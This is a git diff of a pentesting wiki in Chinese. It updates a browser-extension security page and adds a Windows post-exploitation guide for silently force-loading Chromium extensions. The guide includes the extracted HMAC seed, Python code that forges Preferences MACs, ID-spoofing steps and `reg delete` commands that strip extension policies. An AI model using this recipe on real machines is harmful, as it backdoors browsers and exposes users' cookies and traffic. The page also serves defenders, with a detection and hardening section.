- 在 `about:extensions` 页面上启用开发者模式,以查看每个扩展的 ID。
|
||||
- 在每个扩展的文件夹中,`manifest.json` 文件包含一个可读的 `name` 字段,帮助您识别扩展。
|
||||
- 在 `about:extensions` 页面启用 Developer Mode 以查看每个扩展的 ID。
|
||||
- 在每个扩展的文件夹中,`manifest.json` 文件包含可读的 `name` 字段,帮助你识别该扩展。
|
||||
|
||||
### 使用文件归档程序或解压缩工具
|
||||
### 使用文件归档工具或解包工具
|
||||
|
||||
前往 Chrome Web Store 下载扩展。文件将具有 `.crx` 扩展名。将文件扩展名从 `.crx` 更改为 `.zip`。使用任何文件归档程序(如 WinRAR、7-Zip 等)提取 ZIP 文件的内容。
|
||||
前往 Chrome Web Store 并下载扩展。文件将具有 `.crx` 扩展名。将文件扩展名从 `.crx` 更改为 `.zip`。使用任何文件归档工具(例如 WinRAR、7-Zip 等)来解压 ZIP 文件的内容。
|
||||
|
||||
### 在 Chrome 中使用开发者模式
|
||||
### 在 Chrome 中使用 Developer Mode
|
||||
|
||||
打开 Chrome 并转到 `chrome://extensions/`。在右上角启用“开发者模式”。点击“加载已解压的扩展...”。导航到您的扩展目录。这不会下载源代码,但对于查看和修改已下载或开发的扩展的代码非常有用。
|
||||
打开 Chrome 并转到 `chrome://extensions/`。在右上角启用 "Developer mode"。点击 "Load unpacked extension..."。导航到你的扩展所在目录。这不会下载源代码,但对于查看和修改已下载或正在开发的扩展代码很有用。
|
||||
|
||||
## Chrome 扩展清单数据集
|
||||
## Chrome extension manifest dataset
|
||||
|
||||
为了尝试发现易受攻击的浏览器扩展,您可以使用 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 并检查它们的清单文件以寻找潜在的脆弱迹象。例如,检查用户超过 25000 的扩展,`content_scripts` 和权限 `nativeMessaing`:
|
||||
为了尝试发现易受攻击的浏览器扩展,你可以使用 the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 并检查它们的 manifest 文件以寻找潜在的易受攻击迹象。例如,要检查拥有超过 25000 名用户、包含 `content_scripts` 并具有权限 `nativeMessaing` 的扩展:
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
```
|
||||
## 安全审计检查表
|
||||
## Post-exploitation: Forced extension load & persistence (Windows)
|
||||
|
||||
尽管浏览器扩展具有**有限的攻击面**,但其中一些可能包含**漏洞**或**潜在的加固改进**。以下是最常见的:
|
||||
Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.
|
||||
|
||||
- [ ] 尽可能**限制**请求的**`permissions`**
|
||||
- [ ] 尽可能**限制****`host_permissions`**
|
||||
- [ ] 使用**强**的**`content_security_policy`**
|
||||
- [ ] 尽可能**限制****`externally_connectable`**,如果不需要且可能,请不要默认留空,指定**`{}`**
|
||||
- [ ] 如果这里提到的**URL易受XSS或接管攻击**,攻击者将能够**直接向后台脚本发送消息**。非常强大的绕过方式。
|
||||
- [ ] 尽可能**限制****`web_accessible_resources`**,甚至如果可能的话留空。
|
||||
- [ ] 如果**`web_accessible_resources`**不为空,请检查[**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] 如果有任何**通信**发生在**扩展**与**网页**之间,[**检查XSS**](browext-xss-example.md) **漏洞**。
|
||||
- [ ] 如果使用了Post Messages,请检查[**Post Message漏洞**](../postmessage-vulnerabilities/index.html)**。**
|
||||
- [ ] 如果**内容脚本访问DOM细节**,请检查它们是否在被网页**修改**时**引入XSS**。
|
||||
- [ ] 如果此通信也涉及**内容脚本 -> 后台脚本通信**,请特别强调。
|
||||
- [ ] 如果后台脚本通过**本地消息传递**进行通信,请检查通信是否安全且经过清理。
|
||||
- [ ] **敏感信息不应存储**在浏览器扩展**代码**中。
|
||||
- [ ] **敏感信息不应存储**在浏览器扩展**内存**中。
|
||||
- [ ] **敏感信息不应存储**在**文件系统中未受保护**。
|
||||
{{#ref}}
|
||||
forced-extension-load-preferences-mac-forgery-windows.md
|
||||
{{#endref}}
|
||||
|
||||
## 安全审计检查清单
|
||||
|
||||
尽管 浏览器扩展 (Browser Extensions) 的攻击面通常较小,但部分扩展可能包含漏洞或存在可改进的加固空间。以下是最常见的检查项:
|
||||
|
||||
- [ ] 尽可能限制请求的 **`permissions`**
|
||||
- [ ] 尽可能限制 **`host_permissions`**
|
||||
- [ ] 使用强健的 **`content_security_policy`**
|
||||
- [ ] 尽可能限制 **`externally_connectable`**,如果不需要则不要默认开放,指定 **`{}`**
|
||||
- [ ] 如果提到的 URL 对 XSS 或 takeover 存在漏洞,攻击者将能够**直接向 background scripts 发送消息**。非常强力的绕过方式。
|
||||
- [ ] 尽可能限制 **`web_accessible_resources`**,如果可能则留空。
|
||||
- [ ] 如果 **`web_accessible_resources`** 不是空,检查是否存在 [**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] 如果扩展与网页之间有任何通信,检查通信中是否存在导致的 [**XSS**](browext-xss-example.md) 漏洞
|
||||
- [ ] 如果使用 Post Messages,检查 [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**。**
|
||||
- [ ] 如果 Content Script 访问 DOM 细节,检查当页面修改这些细节时是否会引入 XSS
|
||||
- [ ] 特别关注 Content Script -> Background script 的通信是否也涉及上述问题
|
||||
- [ ] 如果 background script 使用 **native messaging** 通信,检查通信是否安全且已做清理/校验
|
||||
- [ ] 不应将敏感信息存储在扩展的代码中
|
||||
- [ ] 不应将敏感信息存储在扩展的内存中
|
||||
- [ ] 不应将敏感信息以未保护形式存储在文件系统中
|
||||
|
||||
## 浏览器扩展风险
|
||||
|
||||
- 应用程序[https://crxaminer.tech/](https://crxaminer.tech/)分析一些数据,例如浏览器扩展请求的权限,以提供使用浏览器扩展的风险级别。
|
||||
- 应用 [https://crxaminer.tech/](https://crxaminer.tech/) 会分析扩展请求的权限等数据,以评估使用该扩展的风险等级。
|
||||
|
||||
## 工具
|
||||
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
- 从提供的Chrome网上应用店链接中提取任何Chrome扩展。
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **查看器**:简单地显示扩展的manifest的JSON美化版本。
|
||||
- **指纹分析**:检测[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)并自动生成Chrome扩展指纹JavaScript。
|
||||
- **潜在Clickjacking分析**:检测设置了[web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)指令的扩展HTML页面。这些页面可能易受Clickjacking攻击,具体取决于页面的目的。
|
||||
- **权限警告查看器**:显示用户尝试安装扩展时将显示的所有Chrome权限提示警告的列表。
|
||||
- **危险函数**:显示可能被攻击者利用的危险函数的位置(例如,innerHTML、chrome.tabs.executeScript等函数)。
|
||||
- **入口点**:显示扩展接收用户/外部输入的位置。这对于理解扩展的表面区域和寻找潜在的恶意数据发送点非常有用。
|
||||
- 危险函数和入口点扫描器生成的警报包含以下内容:
|
||||
- 相关代码片段和导致警报的行。
|
||||
- 从给定的 Chrome webstore 链接拉取任意 Chrome extension。
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**:以格式化的 JSON 显示扩展的 manifest。
|
||||
- **指纹分析**:检测 [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 并自动生成 Chrome extension 指纹化的 JavaScript。
|
||||
- **潜在 Clickjacking 分析**:检测将 HTML 页面通过 [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 指令暴露的扩展页面。根据页面用途,这些页面可能容易遭受 clickjacking。
|
||||
- **Permission Warning(s) viewer**:显示用户尝试安装扩展时会看到的所有 Chrome 权限提示警告列表。
|
||||
- **危险函数定位**:显示可能被攻击者利用的危险函数位置(例如 innerHTML、chrome.tabs.executeScript 等)。
|
||||
- **入口点(Entry Point(s))**:显示扩展接收用户/外部输入的位置,有助于理解扩展的攻击面并寻找可发送恶意数据的点。
|
||||
- Dangerous Function(s) 和 Entry Point(s) 扫描器对其生成的告警会提供:
|
||||
- 导致告警的相关代码片段及行号。
|
||||
- 问题描述。
|
||||
- “查看文件”按钮以查看包含代码的完整源文件。
|
||||
- 警报文件的路径。
|
||||
- 警报文件的完整Chrome扩展URI。
|
||||
- 文件类型,例如后台页面脚本、内容脚本、浏览器操作等。
|
||||
- 如果易受攻击的行在JavaScript文件中,包含该行的所有页面的路径以及这些页面的类型和[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources)状态。
|
||||
- **内容安全策略(CSP)分析器和绕过检查器**:这将指出扩展CSP中的弱点,并将揭示由于白名单CDN等可能绕过CSP的任何潜在方式。
|
||||
- **已知漏洞库**:使用[Retire.js](https://retirejs.github.io/retire.js/)检查是否使用了已知的易受攻击的JavaScript库。
|
||||
- 下载扩展和格式化版本。
|
||||
- “View File” 按钮以查看包含该代码的完整源文件。
|
||||
- 被告警文件的路径。
|
||||
- 被告警文件在 Chrome 扩展中的完整 URI。
|
||||
- 文件类型(例如 Background Page script、Content Script、Browser Action 等)。
|
||||
- 如果易受影响的行在 JavaScript 文件中,还会列出所有包含该文件的页面路径、这些页面的类型,以及它们的 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 状态。
|
||||
- **Content Security Policy (CSP) 分析器与绕过检查器**:指出扩展 CSP 的薄弱点,并揭示由于白名单 CDN 等因素可能导致的 CSP 绕过路径。
|
||||
- **已知易受攻击库**:使用 [Retire.js](https://retirejs.github.io/retire.js/) 检查是否使用了已知存在漏洞的 JavaScript 库。
|
||||
- 下载扩展以及格式化后的版本。
|
||||
- 下载原始扩展。
|
||||
- 下载美化版本的扩展(自动美化的HTML和JavaScript)。
|
||||
- 扫描结果的自动缓存,第一次运行扩展扫描将花费相当长的时间。然而,第二次运行时,假设扩展没有更新,将几乎是瞬时的,因为结果已被缓存。
|
||||
- 可链接的报告URL,轻松将其他人链接到由Tarnish生成的扩展报告。
|
||||
- 下载美化后的扩展(自动 prettified 的 HTML 和 JavaScript)。
|
||||
- 自动缓存扫描结果:首次运行扩展扫描可能较慢,但如果扩展未更新,第二次运行会因为缓存而几乎即时。
|
||||
- 可链接的报告 URL,便于将 Tarnish 生成的扩展报告分享给他人。
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
项目Neto是一个Python 3包,旨在分析和揭示Firefox和Chrome等知名浏览器的浏览器插件和扩展的隐藏功能。它自动解压打包文件,以从扩展中的相关资源(如`manifest.json`、本地化文件夹或JavaScript和HTML源文件)中提取这些功能。
|
||||
Project Neto 是一个为 Python 3 设计的包,用于分析并揭示浏览器插件和扩展(如 Firefox 和 Chrome)中的隐藏特性。它自动解压打包文件,从扩展中的相关资源(如 `manifest.json`、本地化文件夹或 Javascript 和 HTML 源文件)提取这些特性。
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- **感谢** [**@naivenom**](https://twitter.com/naivenom) **对本方法的帮助**
|
||||
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
|
||||
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||
|
@ -0,0 +1,207 @@
|
||||
# Forced Extension Load & Preferences MAC Forgery (Windows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
这是一种隐蔽的 post-exploitation 技术,通过编辑用户的 Preferences/Secure Preferences 并为修改的节点伪造有效的 HMAC(HMAC-SHA256),从而在 Windows 上的 Chromium-based 浏览器中强制加载任意扩展。适用于 Chrome/Chromium、Edge 和 Brave。发布时观察到适用于 Chromium 130 至 139。只要对受害者配置文件具有简单的 disk write primitive,就足以在不使用 command-line flags 或用户提示的情况下持久化具有全部权限的扩展。
|
||||
|
||||
> 关键思想:Chromium 将每个用户的扩展状态存储在 JSON preferences 文件中,并使用 HMAC-SHA256 进行保护。如果你使用浏览器嵌入的 seed 计算出有效的 MAC 并将其写入到你注入节点旁边,浏览器会接受并激活你的扩展条目。
|
||||
|
||||
|
||||
## Where extension state lives (Windows)
|
||||
|
||||
- Non–domain‑joined Chrome profile:
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
|
||||
- Domain‑joined Chrome profile:
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
|
||||
- Key nodes used by Chromium:
|
||||
- extensions.settings.<extension_id> → 扩展条目的嵌入 manifest/元数据
|
||||
- protection.macs.extensions.settings.<extension_id> → 该 JSON blob 的 HMAC
|
||||
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
|
||||
|
||||
Simplified schema (illustrative):
|
||||
```json
|
||||
{
|
||||
"extensions": {
|
||||
"settings": {
|
||||
"<extension_id>": {
|
||||
"name": "Extension name",
|
||||
"manifest_version": 3,
|
||||
"version": "1.0",
|
||||
"key": "<BASE64 DER SPKI>",
|
||||
"path": "<absolute path if unpacked>",
|
||||
"state": 1,
|
||||
"from_bookmark": false,
|
||||
"was_installed_by_default": false
|
||||
// ...rest of manifest.json + required install metadata
|
||||
}
|
||||
},
|
||||
"ui": { "developer_mode": true }
|
||||
},
|
||||
"protection": {
|
||||
"macs": {
|
||||
"extensions": {
|
||||
"settings": { "<extension_id>": "<MAC>" },
|
||||
"ui": { "developer_mode": "<MAC>" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
注:
|
||||
- Edge/Brave 保持类似的结构。保护 seed 值可能会不同(在某些构建中观察到 Edge/Brave 使用 null/其他 seed)。
|
||||
|
||||
## 扩展 IDs:路径 vs key 以及使其确定性
|
||||
|
||||
Chromium 按照以下方式派生扩展 ID:
|
||||
- 已打包/已签名的扩展:ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
|
||||
- 未打包(manifest 中没有 key):ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
|
||||
|
||||
要在不同主机之间保持稳定的 ID,请在 manifest.json 的 "key" 下嵌入固定的 base64 DER 公钥。ID 将从该 key 派生,而不是从安装路径派生。
|
||||
|
||||
用于生成确定性 ID 和密钥对的辅助脚本:
|
||||
```python
|
||||
import base64
|
||||
import hashlib
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||
|
||||
def translate_crx_id(s: str) -> str:
|
||||
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
|
||||
return ''.join(t.get(c, c) for c in s)
|
||||
|
||||
def generate_extension_keys() -> tuple[str,str,str]:
|
||||
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
||||
pub = priv.public_key()
|
||||
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo)
|
||||
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
|
||||
pub_b64 = base64.b64encode(spki).decode('utf-8')
|
||||
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption())
|
||||
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
|
||||
return crx_id, pub_b64, priv_b64
|
||||
|
||||
print(generate_extension_keys())
|
||||
```
|
||||
将生成的 public key 添加到你的 manifest.json 以锁定 ID:
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "Synacktiv extension",
|
||||
"version": "1.0",
|
||||
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
|
||||
}
|
||||
```
|
||||
## Forging Preferences integrity MACs (core bypass)
|
||||
|
||||
Chromium 使用 HMAC‑SHA256 对每个节点的 "path" + 序列化的 JSON 值 进行保护。HMAC 种子嵌入在浏览器的 resources.pak 中,并在 Chromium 139 之前仍然有效。
|
||||
|
||||
使用 GRIT pak_util 提取该种子并定位种子容器(在测试的构建中为 file id 146):
|
||||
```bash
|
||||
python3 pak_util.py extract resources.pak -o resources_v139/
|
||||
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
|
||||
# compare a clean vs minimally modified resources.pak to spot the seed holder
|
||||
xxd -p resources_v139/146
|
||||
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
|
||||
```
|
||||
按如下方式计算 MACs(大写十六进制):
|
||||
```text
|
||||
ext_mac = HMAC_SHA256(seed,
|
||||
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
|
||||
|
||||
devmode_mac = HMAC_SHA256(seed,
|
||||
"extensions.ui.developer_mode" + ("true" or "false"))
|
||||
```
|
||||
最小 Python 示例:
|
||||
```python
|
||||
import json, hmac, hashlib
|
||||
|
||||
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
|
||||
seed = bytes.fromhex(seed_hex)
|
||||
# Compact JSON to match Chromium serialization closely
|
||||
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
|
||||
msg = (pref_path + val).encode('utf-8')
|
||||
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
|
||||
|
||||
# Example usage
|
||||
settings_path = f"extensions.settings.{crx_id}"
|
||||
devmode_path = "extensions.ui.developer_mode"
|
||||
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
|
||||
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
|
||||
```
|
||||
在以下位置写入值:
|
||||
- protection.macs.extensions.settings.<crx_id> = ext_mac
|
||||
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
|
||||
|
||||
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
|
||||
|
||||
> Implementation tips
|
||||
> - 使用 Chromium 在计算 MACs 时采用的完全相同的 JSON 序列化(实践中紧凑的无空白 JSON 是安全的;对键排序可帮助避免顺序问题)。
|
||||
> - 确保 extensions.ui.developer_mode 在 Chromium ≥134 上存在并已签名,否则你的 unpacked 条目不会激活。
|
||||
|
||||
|
||||
## 端到端静默加载流程(Windows)
|
||||
|
||||
1) 生成确定性 ID 并在 manifest.json 中嵌入 "key";准备一个带有所需权限(service worker/content scripts)的 unpacked MV3 扩展
|
||||
2) 通过嵌入 manifest 以及 Chromium 所需的最小安装元数据(state、path for unpacked 等),创建 extensions.settings.<id>
|
||||
3) 从 resources.pak(文件 146)中提取 HMAC seed,并计算两个 MAC:一个用于 settings 节点,另一个用于 extensions.ui.developer_mode(Chromium ≥134)
|
||||
4) 将伪造的节点和 MAC 写入目标配置文件的 Preferences/Secure Preferences;下次启动时将自动激活你的扩展,并获得完整声明的权限
|
||||
|
||||
|
||||
## 绕过企业控制
|
||||
|
||||
- Whitelisted extension hash spoofing (ID spoofing)
|
||||
1) 安装一个被允许的 Web Store 扩展并记录其 ID
|
||||
2) 获取其公钥(例如通过 background/service worker 中的 chrome.runtime.getManifest().key,或抓取/解析它的 .crx)
|
||||
3) 在你修改的扩展中将该 key 设置为 manifest.key,以复现相同的 ID
|
||||
4) 在 Preferences 中注册该条目并对 MAC 进行签名 → 仅基于 ID 进行匹配的 ExtensionInstallAllowlist 检查被绕过
|
||||
|
||||
- Extension stomping (ID collision precedence)
|
||||
- 如果本地的 unpacked 扩展与已安装的 Web Store 扩展共享相同 ID,Chromium 会优先使用 unpacked 的那个。这可以在 chrome://extensions 中有效替换合法扩展,同时保留受信任的 ID。已在 Chrome 和 Edge(例如 Adobe PDF)上验证
|
||||
|
||||
- Neutralizing GPO via HKCU (requires admin)
|
||||
- Chrome/Edge 的策略位于 HKCU\Software\Policies\* 下
|
||||
- 拥有管理员权限时,在写入你的条目之前删除/修改策略键以避免被阻止:
|
||||
```powershell
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
|
||||
```
|
||||
## 嘈杂的回退:命令行加载
|
||||
|
||||
从 Chromium ≥137 起,使用 --load-extension 时还需要传入:
|
||||
```text
|
||||
--disable-features=DisableLoadExtensionCommandLineSwitch
|
||||
```
|
||||
该方法被广泛知晓并受到监控(例如被 EDR/DFIR 监测;被像 Chromeloader 这样的商品化恶意软件使用)。Preference MAC forging 更为隐蔽。
|
||||
|
||||
Related flags and more cross‑platform tricks are discussed here:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## 运行影响
|
||||
|
||||
一旦被接受,扩展将以其声明的权限运行,允许 DOM 访问、请求拦截/重定向、cookie/存储 访问和屏幕截图捕获——实际上实现了在浏览器内的代码执行以及持久的用户配置文件持久化。由于通过 Preferences 的激活是数据驱动的,通过 SMB 或其他通道进行远程部署也很容易。
|
||||
|
||||
|
||||
## 检测与加固
|
||||
|
||||
- 监控非 Chromium 进程是否向 Preferences/Secure Preferences 写入,尤其是 extensions.settings 下新增节点并伴随 protection.macs 条目
|
||||
- 对 extensions.ui.developer_mode 的异常切换以及 HMAC 合法但未经批准的扩展条目发出警报
|
||||
- 审核 HKCU/HKLM Software\Policies 是否被篡改;通过设备管理/Chrome Browser Cloud Management 强制执行策略
|
||||
- 优先通过商店对已验证发布者执行 forced‑install,而不是仅基于扩展 ID 匹配的 allowlists
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
|
||||
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
|
||||
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
|
||||
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user